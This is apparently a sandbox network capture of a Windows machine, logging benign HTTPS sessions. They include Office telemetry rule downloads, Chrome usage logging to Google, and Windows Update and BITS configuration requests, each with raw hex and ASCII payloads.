2024-11-19 00:01:31 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:31 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 485a87fa-401e-0029-449d-379b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000131Z-17cf5b775c45g8j4hC1DFWne5g00000000gg00000000eqbc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000131Z-17cf5b775c42k66jhC1DFW26b800000000m000000000g3q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49811	142.250.181.238	443	2328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 00:01:31 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 39 37 34 34 38 38 35 35 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731974488559",null,null,null,
2024-11-19 00:01:31 UTC	941	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=X93q2Awa0w95ZMIGcSlnByP4MrEj5GeOnyAGZzBL4JEfnMCMTgf0uxDpOvLB6Um0JtXTLlbQcbUhAUMOGPBheFm4y2KJQ86ErghD4onBiyl1m5CTg6f31mbYKG6oneJ-AXN_RRr7dSfCCX1tdJ6rF_Rq8LAAyzgQDvwNOkqV5ZXBcc2qff-i-2c; expires=Wed, 21-May-2025 00:01:31 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 19 Nov 2024 00:01:31 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 19 Nov 2024 00:01:31 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-19 00:01:31 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-19 00:01:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49809	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GgWwYzxFGDrwGNu&MD=DyK82kx5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 00:01:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 11acc8ab-0535-44a7-b820-e9e2c82d9178 MS-RequestId: ebe45eaa-9fb0-48bc-b6fc-7532ccc1c75f MS-CV: kY3nZlnBykmTsuyt.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 00:01:31 GMT Connection: close Content-Length: 24490
2024-11-19 00:01:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 00:01:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49814	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 00:01:32 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=146632 Date: Tue, 19 Nov 2024 00:01:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:32 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:31 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000131Z-16547b76f7ff9zf4hC1DFW2pfc00000003zg00000000yh1v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:32 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:32 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: e902c42c-601e-0097-6404-3af33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000132Z-17cf5b775c4qv4vlhC1DFWuxpn00000000kg000000004kws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:32 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:32 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:32 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: acaa001d-f01e-0003-19b2-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000132Z-164f84587bfmxxfphC1DFW3au80000000510000000008501 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:32 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:32 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000132Z-16559997f87vprq2hC1DFWczdn00000000n000000000m4sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:32 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:32 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 9c34710c-f01e-0071-6c8a-37431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000132Z-17cf5b775c45g8j4hC1DFWne5g00000000g000000000f8xd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
